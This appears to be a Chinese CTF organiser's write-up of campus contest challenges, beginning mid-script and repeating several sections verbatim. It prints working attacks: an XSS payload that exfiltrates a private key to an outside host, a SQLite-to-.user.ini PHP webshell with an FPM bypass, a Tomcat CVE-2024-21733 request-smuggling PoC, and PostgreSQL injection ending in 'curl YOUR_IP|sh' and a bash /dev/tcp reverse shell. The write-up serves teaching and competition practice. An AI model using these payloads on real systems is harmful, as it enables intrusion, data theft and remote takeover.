    txn_hash = web3.eth.send_raw_transaction(signed.rawTransaction)
 
    print(txn_hash.hex())
 
    web3.eth.wait_for_transaction_receipt(txn_hash.hex())
    print(web3.eth.get_transaction_receipt(txn_hash.hex()))
 
username = 'hello10'
fee_per_byte = 5 * 10**12  # 5 szabo in wei
total_fee = fee_per_byte * len(username)
print('registering')
call(total_fee, contract.functions.register(username=username))
 
print('username_count', contract.functions.getUserNameCount().call())
 
print('undo') # 1 finney
call(10 ** 15, contract.functions.undo())
 
#print('read', web3.eth.get_storage_at(address, keccak256(apos)))
print('article', contract.functions.read(user=admin, id=0).call())
 
title = 'mytitle'
content = '''<img src=x onerror="var f=(o,t,d)=>{var v;Object.keys(o).some(function(k){if(k===t){v=o[k];return true;}if(o[k]&&typeof o[k]==='object'&&d>0){v=f(o[k],t,d-1);return v!==undefined;}});return v;};this.src='http://IP:POST/?'+f(document.getElementById('root'),'privateKey',10);" />'''
fee_per_byte = 50 * 10**12
total_fee = fee_per_byte * len(title + content)
print('editing')
call(total_fee, contract.functions.edit(id=offset//3, title=title, content=content))
 
print('article', contract.functions.read(user=admin, id=0).call())
 
res = requests.post(URL + '/api/bot')
print(res.text)
 
apv = input('the admin private key: ').strip()
message = encode_defunct(text = admin.lower() + ': vivo flag')
data = {'message': message.body.decode(),
    'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=apv).signature).hex()}
print(data)
res = requests.post(URL + '/api/flag', json=data)
print(res.text)

【 ? 】Real DLsite

本题在 CTF Web 题中也算比较难的类型,并没有让大家做出来的打算。算是让大家见识见识吧。

对不起各位,wp 忘记存了!只能在这里简单地复述一下:

首先可以进到管理界面,任意执行单行 SQLite3 表达式。

这时候需要用到一个新的特性,VACUUM INTO 可以将当前数据库 dump 一份到目标文件,相当于内容有限制的任意写。

而题目环境中仅有一个关键文件 .user.ini 是可写的。

结合 PHP 对 ini 解析的松散型,可以在数据库里插入包含 \r\n 的表,后面跟个 # 注释,只要前边不包含 [ 或 ( 这种关键字符,php 就可以正常解析,注入一个 auto_append_file,等到五分钟 cache 过期后拿到 webshell 。

DROP TABLE CONFIG;
CREATE TABLE `%0d%0aauto_append_file = "/var/www/html/db.sqlite" ; <?php @eval($_REQUEST[0]); ?>` (ID INT);
VACUUM main INTO '/var/www/html/.user.ini';
CREATE TABLE CONFIG (NAME VARCHAR, TYPE VARCHAR, VALUE VARCHAR);

poc

然后绕过 disable_functions 直接打 fpm 就行:

import requests, base64

URL = 'http://IP:PORT/view?p=/doc'

with open('preload.so', 'rb') as f:
    preload = f.read()

params = {'0': 'file_put_contents("/tmp/preload.so", hex2bin("'+preload.hex()+'"));'}
res = requests.post(URL, data=params)
print(res.status_code)

# Generated by fpm.py
payload = b'\x01\x01\x9f\x9c\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x9f\x9c\x02g\x00\x00\x11\x0bGATEWAY_INTERFACEFastCGI/1.0\x0e\x04REQUEST_METHODPOST\x0f\x15SCRIPT_FILENAME/var/www/html/inc.php\x0b\x15SCRIPT_NAME/var/www/html/inc.php\x0c\x00QUERY_STRING\x0b\x15REQUEST_URI/var/www/html/inc.php\r\x01DOCUMENT_ROOT/\x0f\x0eSERVER_SOFTWAREphp/fcgiclient\x0b\tREMOTE_ADDR127.0.0.1\x0b\x04REMOTE_PORT9985\x0b\tSERVER_ADDR127.0.0.1\x0b\x02SERVER_PORT80\x0b\tSERVER_NAMElocalhost\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0c\x10CONTENT_TYPEapplication/text\x0e\x02CONTENT_LENGTH19\t\x1fPHP_VALUEauto_prepend_file = php://input\x0f\x80\x00\x00\xa5PHP_ADMIN_VALUEallow_url_include = On\nextension_dir = /tmp\nextension = preload.so\ndisable_classes =\ndisable_functions =\nopen_basedir = /\ndisplay_errors = On\nerror_reporting = E_ALL\x01\x04\x9f\x9c\x00\x00\x00\x00\x01\x05\x9f\x9c\x00\x13\x00\x00<?php phpinfo(); ?>\x01\x05\x9f\x9c\x00\x00\x00\x00'

params = {'0': '''echo "START";
$fp = fsockopen("127.0.0.1", 9000);
fwrite($fp, PAYLOAD);
while (!feof($fp)) echo fgets($fp, 1024);
fclose($fp);
echo "END";'''.replace('PAYLOAD', 'base64_decode("'+base64.b64encode(payload).decode()+'")')}

res = requests.get(URL, params=params)
print(res.text.partition('START')[2].partition('END')[0])

【 ? 】Tomcat vs HTTP/1.1

本题在 CTF Web 题中也算比较难的类型,并没有让大家做出来的打算。算是让大家见识见识吧。

很纯真的一道题,代码里什么都没有,只是把 flag 放在请求头里另外访问了一个不存在的路由,而且这个过程中没有任何用户可控的输入。

img

有点像 HTTP 缓存投毒,但是这里没有中间件,flag 也不在回显里。从 CTF 题的角度来考虑的话,最有可能的选项是:先前 HTTP Header 的信息以某种形式被缓存了,并且可能可以在后续的请求中被泄露出来。

想到这里,就得先翻翻 Tomcat 的 CVE 列表。

https://security.snyk.io/package/maven/org.apache.tomcat.embed:tomcat-embed-core/9.0.43

img

然后找到了非常可疑的 CVE-2024-21733,再一看 PoC,基本上可以确定就是它了。

运气很好地搜到了下面的分析文章。

https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247484002&idx=1&sn=7936818b93f2d9a656d8ed48843272c0

总结一下:

  1. Tomcat 在 org.apache.coyote.http11.Http11Processer#service() 处开始处理 HTTP 请求,而从 socket 中读到的数据存放在 Http11InputBuffer (内部是 ByteBuffer) 里。该实例在每个执行线程中都是持久的,即,通用的。
  2. ByteBuffer 有 pos、limit、capacity 等参数,处理新的 HTTP 连接前初始化为 0,完毕后也会 GC 。
  3. 出于对 HTTP/1.1 Keep-Alive 的支持,service() 函数循环处理 ByteBuffer 中剩余的 HTTP 请求,即通过 pos 参数来分别(并解析)同个连接中可能的多个 HTTP 请求。
  4. ByteBuffer 中的数据是不清空的,这一点很好理解;即新的数据直接覆盖在旧的 buffer 上,通过 limit (数据大小) 来控制边界。

想到这里,或多或少可以猜到:既然请求数据 buffer 不清空,还能循环处理,是不是可以通过某种方式"越界读",在新的 HTTP 请求中将之前剩余的信息提取出来?

为了实现这一点,关键是 limit 参数。如果无法控制 limit 参数的话,那无论怎么解析,都只会是在当前的请求内,无法造成"越界"。另一个关键点是"循环",在 service() 函数中,进行循环处理的条件有两个:!this.getErrorState().isError() && this.keepAlive,即解析上一个请求时没有发生错误,且 keepAlive=true 。keepAlive 比较好解决(真的吗?),因为 HTTP 版本设为 1.1 时其值默认为 true,Connection: keep-alive 也能将其值再次设为 true 。

img

CVE-2024-21733 以一种巧妙的方式串起了整个攻击链。根漏洞点位于 Http11InputBuffer 的 fill() 函数:

img

该函数在解析 HTTP 头的过程中,或读取 POST Body 时被调用,其尝试读取 socket 中的剩余数据,总共最多 capacity 个字节,至当前的 pos 后。为了实现这一点,代码使用了先 mark() 当前 pos,后 limit() 至 capacity,读取,最后重置 limit 为 pos,pos 为 mark 的做法,乍一看是没啥问题的,因为异常处理确实是在恢复 limit 之后才进行。

img

但是再仔细一看,socketWrapper.read() 竟然能 throws IOException,具体来说,就是当 socket 长时间无数据,超过 server.tomcat.connection-timeout (60 秒) 时,会抛出一个 SocketTimeoutException 。这样的话,那一切就完了,buffer 的 limit 没有被设回来,保持在最大值,也就相当于在之后的处理中造成了"越界读"!其实修复补丁很简单,就是将重置 limit 的这一行放在 finally 里完事。

也就是说,我们已经解决了第一个关键点。只要在 Tomcat 调用 fill(true) 函数尝试获取更多的数据时,保持 socket 连接什么都不发送,等 60s 后触发 SocketTimeoutException (IOException) 即可实现 limit 越界。

其实 service() 函数本身在默认 this.endRequest() 尝试移动至下一请求时就会调用 fill(true) ,当存在 POST body 时,移动的大小由 Content-Length 决定,那是不是说对于随便一个请求,只要构造一个过长的 CL,当预期读到更多数据我们什么都不发送,就完事了?Actually no.

img

这样确实能触发"越界",但要利用"越界读"的另一个要点是"循环"。正如先前提到的,在解析上一个请求时如果发生错误,那 service() 函数将跳出循环,不再继续解析,即使在当前请求中"越界"了也没有用,因为跳出循环后就直接 GC 了,没有"读"的地方!

img

看了好几个小时,我几乎可以确定在 service() 函数处理请求头时所有对 fill() 的调用都会被 try - catch 起来,并且设置 errorState,也就是说无法利用!

CVE-2024-21733 则是很巧妙地借助了 org.apache.catalina.connector.Request#parseParameters() ,该函数在原生 request.getParameter() 或 Springboot 路由存在 @Param 类注解时被调用;其在 HTTP METHOD 为 POST 时会尝试解析 POST body,而读取 body 的过程中正是调用了 fill() 。

img

readPostBody() 会循环调用 fill() 直至缓冲区中至少存在 Content-Length 大小的 body。

再仔细一看,这里竟然有个 try - catch 处理了 SocketTimeoutException,并且只是设置了参数处理失败原因,而对路由整体的上下文没有任何影响,也就是说,对循环没有影响!

至此我们可以还原出 CVE-2024-21733 的攻击链:

  1. 调用存在 getParameter() 的路由为触发点;
  2. POST 时 Content-Length 比实际发送的数据大,并且保持 socket 连接;
  3. fill() 函数抛出 SocketTimeoutException,limit 越界,但 HTTP 请求正常处理;
  4. service() 函数循环继续处理下一个可能的 HTTP 请求,此时已经越界,读到的是 CL 大小之后,原本在 ByteBuffer 里的,该线程上一个 HTTP 连接发送的数据;
  5. 此时,非法的 HTTP METHOD(作为泄露的数据)以 Error Message 的形式回显给攻击者。

到这里虽然很激动,跃跃欲试,但遗憾的是在本题里:

  1. 没有具有 @Param 注解的路由。Tomcat 对于请求参数,包括 POST body,是 lazy processing 的,也就是说只有在第一次显式调用 getParameter() 时才有机会触发 fill() ,而本题中是没有的。
  2. 没有 message 回显。Springboot 默认不会把 Invalid HTTP Method XXXXX 打印出来,而只是返回 400 Bad Request,没有任何额外的信息,也就无法以先前的方式泄露数据。

先来解决第二个问题。经过一番搜索后我发现,Springboot 竟然默认支持 HTTP TRACE 。这好像是一个 bug:

https://github.com/spring-projects/spring-boot/issues/33623

不管如何,使用 TRACE 就可以把越界的内容当做 HTTP 请求头回显出来,再想想,flag 被放在 HTTP Header 而不是 POST Body 里是有这么一份道理的。虽然后者的情况,我们也可以通过控制 Content-Length 吞掉合适大小的数据,从而将其伪造成 HTTP Header。

头疼的是第一个问题。我本来想寻找其他地方有没有隐含着 getParameter() 的触发,但是无果。

想到 POST 数据,除了 application/x-www-form-urlencoded,另一个经典的就是 multipart/form-data 。有没有可能 Tomcat 会自动解析使用 multipart 传上去的东西?还真是。

img

这么长一串调用链,从默认的 org.springframework.web.servlet.DispatcherServlet 走到 Request.parseParts(),借由 org.apache.tomcat.util.http.fileupload.MultipartStream 以另一种方式触发读取 POST body 的功能,最终走到 fill() 。

怀着忐忑的心情让它继续跑,然后下断点观察是否触发越界读。嗯?竟然没有?怎么回事?

看了一眼,发现 this.keepAlive 怎么变成 false 了?虽然由于不完全的 multipart body,servlet 里抛出了异常,但这并不会影响 service() 函数里的 errorState(因为在调用链中间由 org.apache.catalina.core.StandardWrapperValve#invoke() 处理了,其会把 HTTP Status Code 设为 500,并赋值 request 上下文相关 exception 的属性)。

img

img

但是 HTTP 500 又怎么了?代码跑到 Http11Processer.prepareResponse() 之后,里面有惊人的一行:

img

img

它竟然把 keepAlive 弄成 false 了!!也就是说,servlet 抛出异常 => 500 => keepAlive=false => 无法继续循环,这条路子竟然走不通!!

之前已经在 errorState 上吃过一回闭门羹了,现在又整了 keepAlive 这出。也就是说,我们的触发点还必须使用 try - catch 捕获 fill() 的异常,并且返回 HTTP 200 。

然后找到了另一个 org.springframework.web.filter.FormContentFilter 默认启用的 filter,其在 PUT application/x-www-form-urlencoded 时能触发 fill(true) 。

img

可惜的是,这里还是没有 try - catch,依旧 HTTP 500 。

大半夜看得头疼,山穷水尽之际,来自出题人充满的善意 hint 告诉我跟 HTTP POST File 有关系。难道我们在 multipart 那里看漏了什么很重要的东西么?

一层层回溯调用栈,尝试寻找线索。我们之前触发 fill() 是通过下图中 discardBodyData() 里的 readBodyData(),我将 POST body 设为一个 "R",并令 CL=2 。

img

可以发现,这里对 MalformedStreamException 进行了处理,但 SocketTimeoutException 作为 IOException 直接抛向了上层,符合 debug 结果。

那么问题出在哪儿呢?看到底下一行的 readBoundary() :

img

很明显,this.readByte() 最终调用的也会是 fill() ,而这里的 try - catch 竟然把 IOException 包装成了 MalformedStreamException !!也就是说,我们如果能在这个地方触发 fill() ,那将不会在上层抛出异常,是一个理想的触发点!

那么一个新的问题又产生了,这里的 readByte() 可能被阻塞吗?我之前测试的时候陷入了一个大坑,就是我以为上边 discardBodyData() 里调用的 readBodyData() 跟先前提到的 getParameter()、endRequest() 以及 FormContentFilter 是一样的 —— 读取完 Content-Length 长度的整个 Body 才会返回。

因为美丽的 VSCode 找不到这其中一个关键部分的源代码:

img

而且我先前测试的 Body 并不是合法的 Multipart 格式。

动态调试后发现在 ItemInputStream 里进到了 findSeparator()

img

并且 fuzz test 后发现,再根据名字猜一波,readBodyData() 并不要求读取全部长度的 Body,而只是停在 ----boundary 这个 token 之后!!之后的 readBoundary() 也是如其名,检测接下来的两个字符是否为 CRLF 或 -- 结束标志。

此为攻击链中最后一块缺失的拼图。PoC 其实简单得不能再简单了:发送 ----boundary 然后等待即可。readBoundary() 感觉少东西了,自己会调用 fill() 读取。

剩下的 TRACE 请求构造就显得不那么复杂,不管是 fuzz test 还是直接根据代码算 pos,可以得出 Content-Length 多出多少就吞掉 POST body 前多少个字符的规律,所以:

POST /aaa HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--abc
Content-Length: 30

?TRACE / HTTP/1.1\r\nX: ----abc

还真是神奇,我们经历了这么多,得到的 PoC 却是此般的短。

总结一下:

  1. 发送恶意构造的 multipart 的 "XXXX----boundary" 请求体,由 Springboot 自动调用在 org.apache.tomcat.util.http.fileupload.MultipartStream#readBoundary() 处进入 fill();
  2. 保持 socket 连接,fill() 抛出 SocketTimeoutException,当前线程中 ByteBuffer 的 limit 被错误配置,造成越界读;
  3. org.apache.coyote.http11.Http11Processer#service() 由于 keep-alive,在越界读的数据上继续解析,该数据为先前包含 flag 的请求;
  4. 构造合法的 TRACE 请求以回显。

为了使 flag 均匀分布在各个执行线程的 ByteBuffer 中,可以先多线程简单地并发一下 /check 路由。

import socket

REMOTE = ('IP', PORT)

def connect(poc, persist = False):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(REMOTE)

    poc = poc.replace(b'\r', b'').replace(b'\n', b'\r\n')
    
    print(poc)
    s.sendall(poc)

    response = []
    while True:
        data = s.recv(1024)
        print(data)
        if not data: break
        response.append(data)
        if not persist: break
    data = b''.join(response).decode().rstrip()

    print(data)

    s.close()

import requests, time, threading
def req():
    try:
        print(requests.post(f'http://{REMOTE[0]}:{REMOTE[1]}/check', headers={'User-Agent': '', 'Accept': '*/*', 'Accept-Encoding': '*'}).text)
    except:
        pass
for _ in range(200): # If not working, increase requesting attempts
    threading.Thread(target=req).start()
    time.sleep(0.1) # Adjust based on your actual RTT

input('Press Any Key To Continue')

poc = b'''POST /check HTTP/1.0
Host: localhost
Connection: close
Content-Length: 0

'''
connect(poc)
input('Press Any Key To Continue')

poc = b'''POST /aaa HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--abc
Content-Length: 30

 TRACE / HTTP/1.1\r\nX: ----abc'''
connect(poc, True)
input()

img

(1/3) 校内 IP 集邮

【简单】你听说过 IP 地址吗?

为了凑齐三个难度,特地新增该道送分题给大家。

该题实际上有一个坑点,各位从搜索引擎里进入的,大概率会是 geoip.neu.edu.cn ,但答案却不是它。

如果你再尝试点击页面里的“IPv4入口”的话,就会发现进入了一个更短的 ip.neu.edu.cn

这是因为 geoip 是双栈的,在访问时会优先使用 IPv6;而后者仅包括 IPv4 。

同时满足这个界面(注意,IPv4 与 IPv6 的归属查询类型是不一样的!),与最短的要求,那么本题的答案应该为 nex{ip.neu.edu.cn} 。

(1/3) 校内 IP 集邮

【简单】你听说过 IP 地址吗?

为了凑齐三个难度,特地新增该道送分题给大家。

该题实际上有一个坑点,各位从搜索引擎里进入的,大概率会是 geoip.neu.edu.cn ,但答案却不是它。

如果你再尝试点击页面里的“IPv4入口”的话,就会发现进入了一个更短的 ip.neu.edu.cn

这是因为 geoip 是双栈的,在访问时会优先使用 IPv6;而后者仅包括 IPv4 。

同时满足这个界面(注意,IPv4 与 IPv6 的归属查询类型是不一样的!),与最短的要求,那么本题的答案应该为 nex{ip.neu.edu.cn} 。

(2/3) 校内 IP 集邮

【中等】收集你的第一个 IP 地址!

让各位先凑 4 个 IP 练练手,电脑手机 WiFi 双开就可以很容易地达到。

大家可以思考,为什么不同的连接方式,会分配到不同的 IP 呢?当然,网段划分是一个更为上层的因素,有线网的网段与无线网段很明显是不同的;在同种连接方式下,不同的设备获取到不同的 IP,并且对于单个设备,当你下次重连时,仍然能获取到相同的 IP,是因为 DHCP 协议使用了设备的标识信息,即 MAC 地址来分辨不同的设备。

在局域网内,通常认为 MAC 地址产生冲突的概率非常小。当然,也不是不可能,我就曾经进入过 ipgw 结果发现登上了别人的号。

有这样的想法,便产生了下一题。

(3/3) 校内 IP 集邮

【困难】通往 IP 真神的道路......

该系列作为 “校园网” 系列的第一套,旨在引导大家对身边网络环境的探索。实际上,效果比预期要好得太多了,甚至出现了我都未曾注意到的解法。

25 个 IP 其实是经过深思熟虑的。一个设备在正常操作下最多能刷 7 个 IP(关闭 MAC 地址随机,开启 MAC 地址随机,三个 WiFi: NEU NEU-2.4G NEU-Mobile),三个设备最多也有 21 个,还差一点儿。

熟悉网络协议的朋友们,在看到这里,能够秒想到利用 MAC 地址更换来刷 IP,应该是比较自然的。现代网卡以及操作系统都提供了更换 MAC 地址的方法,例如,Windows 则是在下面的地方:

image-20241021114125043

Linux 更是一行简单的命令就完事了 ip link set address 00:8c:91:3a:b7:00

这个方法在所有的网络环境中都是通用的,不管是 Wired/Wireless ,因为只要换了 MAC,在交换机以及 DHCP 服务器来看你就是台新的设备,自然得给你分配新的不重复的 IP 地址。当然这里不涉及到 DPI 等技术检测手段,咱们学校没有此类的限制。

所以预期的解法是,只需要连接上任一网络(有线/NEU/NEU-2.4G/NEU-Mobile)然后一直更换(实测手换比写脚本快)MAC 地址,再访问容器打卡即可,手速快的话半小时内就可以搞定。容器里的网页还特地缓存了 googlefonts、jsdelivr 等 CDN 资源,方便你在不出外网的时候访问,出题人简直是太贴心了!

相信有一半左右的同学是采用了如此朴素的做法。我知道肯定有人会好奇,问为啥不直接自己改 IP 呢,非得通过 DHCP 服务器给你分?

实际上,在有线网的环境,这么做是连不出楼层交换机的。因为咱们学校有线网(宿舍、实验楼、部分教学楼)分的全是公网 IP !真够大气的,所以说防护措施相对应的会严格。

有线网的环境里,起作用的主要是 DHCP Snooping(拒绝未经授权的 DHCP 服务器)、Dynamic ARP Inspection(阻断 ARP Spoofing)以及 IP Source Guard(拒绝未经授权的 MAC-IP 地址对接入网络)。这确保了自己改 IP 地址绝对是出不了网的,只能通过 DHCP 服务器下发。但有线网在不登录 ipgw 时可以访问校园内网,且 IPv6 更是直接可以出网的,因为其通过 SLAAC 自动分配,也没有任何防护,实际上你更可以挑选一个“靓号”使用。(当然我们并不推荐你这么做,你也别把我供出来!)

image-20241021121740752

无线网的网段集中在 172 这个 Private IP 段内,这是一个重大的非预期。考虑到无线网每次更换 MAC 地址都需要重新登陆 ipgw,实在是麻烦。并且 NEU / NEU-2.4G 是开启了 IPSG 的,也就是说在登陆 ipgw 之前也无法访问校内网站,经测试,更换 IP 之后虽然能访问 ipgw,但无法认证成功,也就无法访问容器环境。

问题出在 NEU-Mobile 这个地方。由于它采用 802.1X ,在连接时就已经提供用户名密码,所以连上去之后不用自己登 ipgw 就能出网。 由于 AP 的特殊性质,Client Isolation 很好解决,而且出网是 NAT 的,内网 IP 想怎么发就怎么发。查看了选手们提交的 wp 之后,我才发现,原来 NEU-Mobile 里的 IP 是可以随便改的,并且改完之后还是能出网,正常访问容器环境!!这说明 802.1X 认证模块跟 ipgw 的认证模块不是放在一起的,我都感觉是被同学们找出校园网的设计缺陷了。其实类似的问题在五六年前就出现在了三大运营商的内网当中,当时流行一种说法叫“免流”,由 CTWAP 的 APN 上网的时候,可以访问到一个内网的代理服务器叫 10.0.0.200,通过该 HTTP 代理可以上外网。问题同样出在,这个代理服务器跟运营商的计费服务器不是放在一起的!!也就是说,我们可以通过某种方式,借助它俩对于 HTTP 请求的解析差异,例如经典的 X-Online-Host 法、双 Host 法、CRLF 法等,使代理服务器访问我们真实的网站,但计费服务器却认为是在访问运营商内部网站,所以免流!

对于 WebVPN 或者 SSLVPN,由于它仅在校内有几个固定的 IP,对于 25 个来说肯定是杯水车薪。

另一个问题出在 OpenVPN 上。一年多前我测的 OpenVPN 当时的 IP 缓存在 3~5 分钟,也就是说,用你的账号连上去之后,得断开连接,再等上个几分钟,才有办法刷到新的 IP。搭过的朋友应该知道,一行 ifconfig-pool-persist 就可以实现这个功能了。我一想啊 25*3 = 75 不得把大家硬控在手机电脑前一个多小时,也就算了。看到了选手们提交的 wp 才知道,这机制现在改了,一直点重连就能刷出新 IP 来,虽然有几率重复,我看选手们有的运气好的刷得特别快,也算1/4个非预期了其实。再说一句题外话,这个短信认证 MFA 的功能其实是咱们 NEX 上几届的学长提供的 :)

还有一个我没想到的小技巧,就是选择使用随机 MAC 连接 WiFi,然后忘记网络,然后再连,然后再忘记,还真比自个儿填 MAC 地址快。

在这些因素的加持下,本题也成功成为解出人数最多的困难题。真是令人受益匪浅

(1/2) 邮件系统功能升级

【简单】[email protected]

出题组为了给大家整点简单题,可谓是费劲了心思。本来还想结合 SPF、DKIM、DMARC 的知识,但这样不就变成理论题了;让选手们自己搭建一个 SMTP 服务器,又不太好考察,遂放弃之。所以本系列的难度曲线不太平滑。

大家的学生邮箱里肯定出现过“邮件系统功能升级”,这是信网办为了完成指标发的。本题的来源,就是我把这封邮件 Download as EML 然后加了个附件,非常地贴合实际场景

本地有安装 Outlook 的话,直接点开就完事了。有的选手还使用 QQ 邮箱等功能在线预览 EML。我这里随便找了个网站,也是非常顺利地就打开了。

image-20241021161420513

解压 flag.rar ,里面就有 flag 。简直不要太简单!

image-20241021161540518

当然,大家更是可以去了解一下邮件(EML)的传输格式。SMTP 协议本来是不支持传送非 ASCII 字符的!于是,便采用了 UTF-7、quoted-printable、base64 这样的编码方式。你很可能难想象,现代的邮件系统竟然还在使用这么古老的明文协议(就跟 HTTP/1.1 一样)!

所以,要提取附件,只需要把这部分内容拿出来,base64 解码就完事了。Python 也就一行的事儿。

image-20241021162155941

(1/2) 邮件系统功能升级

【简单】[email protected]

出题组为了给大家整点简单题,可谓是费劲了心思。本来还想结合 SPF、DKIM、DMARC 的知识,但这样不就变成理论题了;让选手们自己搭建一个 SMTP 服务器,又不太好考察,遂放弃之。所以本系列的难度曲线不太平滑。

大家的学生邮箱里肯定出现过“邮件系统功能升级”,这是信网办为了完成指标发的。本题的来源,就是我把这封邮件 Download as EML 然后加了个附件,非常地贴合实际场景

本地有安装 Outlook 的话,直接点开就完事了。有的选手还使用 QQ 邮箱等功能在线预览 EML。我这里随便找了个网站,也是非常顺利地就打开了。

image-20241021161420513

解压 flag.rar ,里面就有 flag 。简直不要太简单!

image-20241021161540518

当然,大家更是可以去了解一下邮件(EML)的传输格式。SMTP 协议本来是不支持传送非 ASCII 字符的!于是,便采用了 UTF-7、quoted-printable、base64 这样的编码方式。你很可能难想象,现代的邮件系统竟然还在使用这么古老的明文协议(就跟 HTTP/1.1 一样)!

所以,要提取附件,只需要把这部分内容拿出来,base64 解码就完事了。Python 也就一行的事儿。

image-20241021162155941

(2/2) 邮件系统功能升级

【困难】统一身份认证

按顺序,前边其实都不算什么难题,甚至跟传统的 Web 都没啥关系。想着整点 Traditional,复古风,于是便有了该题。要引用就不能断章取义,把邮件里的假得不能再假的统一身份认证界面拿来加强一下,成为了大家现在看到的样子。这应该也是大家在做题过程中,第一道遇到的比较像 CTF 的题。

该题其实改编自互联网中的真实案例。给大家看几个我邮箱里收到的典例:

询问型的,不是中奖了,就是叫你去继承遗产,要么就说找你进行一本万利的买卖。

image-20241021163307989

账号型的,不是邮箱过期了,就是检测到新的登录,要么就说存储空间已满。

image-20241021163445372

支付型的,不是信用卡失效,就是银行账户异常,要么就给你发个账单叫你确认。

image-20241021163752795

威胁型的,不是黑了你的网站,就是偷了你的密码,要么就说要把你的小视频发给亲朋好友。

image-20241021164319146

看不懂型的,不知道啥语就往我邮箱里边发。

image-20241021164730670

当然,在国内更常见的其实不通过邮箱传播,而是 QQ 等聊天工具。大家在群里估计也经常会遇到,我就不多说了。那么言归正传,本次的题目其实相当于对盗号黑客的一个“反制措施”。他偷你密码,你就直接脱他数据库,非常的合理。我印象中,几年前经常遇到的很多模仿 QQ 登陆界面的盗号网站都是一个模板,我就那么随手一试,加了个单引号,诶,它就返回空白页面不转跳了。靠这种经典的 SQL 注入,在七八年前能直接吃下不少网站,可惜随着时代发展,ORM 框架的兴起,软件体系架构的完善,现在更是进入了 AI 代码的时代,这种野生的纯度极高的注入点实际已经基本上遇不到了,其实也不可惜,这是好事儿。

首先我这个假界面做得很逼真。小朋友们可以试着输入自己的真实学号与真实密码,会发现告诉你登录成功后就直接转跳到 stumail.neu.edu.cn 这个界面去了。这也是盗号网站的常用手法,你可能自己都不知道啥时候在钓鱼网站上输入了密码,它要么始终告诉你密码错误,要么你打啥都正确,最后再诶一转跳到官方网站上,你又输一遍密码登进去了,啥事没有,过几天 QQ 异地登录了才发现。

盗号网站为了防止你乱输,也为了不让你起疑心,一般也会对你的输入做一些基本的合法性校验。例如,QQ 盗号网站就喜欢整个屏幕键盘让你输,而不是调用手机默认的输入法。本题中,也是采用了类似的思想,校验了你输入的账号必须为纯数字并且在 4~9 位,否则提示账号不存在。所以用户名这个框是不可注入的。

在密码的框里打个单引号,会发现诶,爆出了一个经典的 SQL Syntax Error

image-20241021170838115

以上这些都可以在一无所知的情况下通过基本的 fuzz test 测试出来。到这里,眼熟的同学们可能可以看出来,这是一个经典的 PostgreSQL 报错形式。再加上善良的出题人给的提示,PostgreSQL => RCE,实际上本题差不多做完了已经。一般 CTF 的考法会加一堆黑名单字符让你绕过,但是在这里善良的出题人并没有这么做,显然大大降低了本题的难度。

看到报错信息,其实已经可以把原本的 SQL 语句猜个八九不离十了:INSERT INTO record (username, password, time) VALUES ('$username', '$password', NOW());

这里有一个很重要的特性,就是 PostgreSQL / SQL Server 默认是支持多行执行的(又被称作 Stacked Injection 堆叠注入),而如 SQLite、MySQL、Access(也是数据库) 一般需要代码中明确使用支持多行执行的系列函数。

支持多行执行,原本的 SQL 语句也有了,再加上善良的出题人给的 hint( https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql#rce-to-program ),你可以使用如下的密码直接闭合原有的语句并反弹 shell

',NOW()); COPY (SELECT '') TO PROGRAM 'curl YOUR_IP|sh'-- -

其中 YOUR_IP 应该返回如下的语句: bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

image-20241021173533303

Very easy, my friend!

更别说善良的出题人还贴心地为本题提供了外网访问支持,shell 可以弹到公网的服务器上,更可以通过一些在线 HTTP Request Inspector 服务来回显。

我注意到选手提交上来的 wp 中有使用 sqlmap 的,这玩意儿在盲注的情况下非常好用,但是本题可以爆错,error-based 就秒了。如果硬要用 sqlmap 跑的话,需要先分析请求格式。我是直接抄的 pass.neu.edu.cn 的 js 代码,ul 表示用户名长度,pl 表示密码长度,最后拼在 rsa 字段里,后边那些 ticket 啥的 CAS 相关内容就略过了,后端也不进行校验。

如果本题不出网,或者你懒得折腾 reverse shell,也是完全没有问题滴。

首先,我们输入如下的密码,可以验证其为 postgres superuser :

',NOW()); select cast((select current_user) as int); -- -

image-20241021180201934

然后,拷一个 COPY FROM 的模板,借助一点 pgSQL 的语法知识,把执行回显塞进报错里:

',NOW()); CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'cat /flag';select cast((select string_agg(cmd_output,',') from cmd_exec) as int); -- -

image-20241021180355490

Still very easy, my friend!

大家如果尝试注入获取数据库里的内容的话,会发现善良的出题人已经在里面提示 “try to get RCE” 了。

根目录下的 /flag 文件权限为 600,只有 root 能访问,因此题目环境中的 cat 命令被设置了 SUID 标志位,仅有 cat /flag 能够读取到 flag,防止 pgSQL 注入直接通过 pg_read_file() 读它,这也本题是要求 RCE 的原因。用了 cat 这个命令本意也是不想给大家设门槛,一般的 CTF 题目的话,这后面还会再套一层提权。

这个困难题是不是很简单呢,我的朋友?

(1/3) 敲开 UDP 之门

【简单】初识 UDP

出题组为了给大家整点简单题,可谓是费劲了心思。本来只放最后一道 NAT 就可以了,善良的出题人还是想尽一切手段多整出来俩,一个正向连接一个反向连接。

这题呢很显然要求大家使用 UDP 协议正向连接至容器的端口。

我看提交上来的 wp,大多数同学使用了 python,这当然是没问题的。实际上有一个更简单的工具,nc (netcat),也在文档站中给予大家很多次的提示了,nc 用来简单收发包是最快的。

Python 代码大家问 AI 也都写得出来,nc 的话呢,一行命令就完事。

image-20241021184723636

如果不加 "-u" 就会默认连接到 TCP 服务器,迷失的羔羊!

image-20241021184853018

(1/3) 敲开 UDP 之门

【简单】初识 UDP

出题组为了给大家整点简单题,可谓是费劲了心思。本来只放最后一道 NAT 就可以了,善良的出题人还是想尽一切手段多整出来俩,一个正向连接一个反向连接。

这题呢很显然要求大家使用 UDP 协议正向连接至容器的端口。

我看提交上来的 wp,大多数同学使用了 python,这当然是没问题的。实际上有一个更简单的工具,nc (netcat),也在文档站中给予大家很多次的提示了,nc 用来简单收发包是最快的。

Python 代码大家问 AI 也都写得出来,nc 的话呢,一行命令就完事。

image-20241021184723636

如果不加 "-u" 就会默认连接到 TCP 服务器,迷失的羔羊!

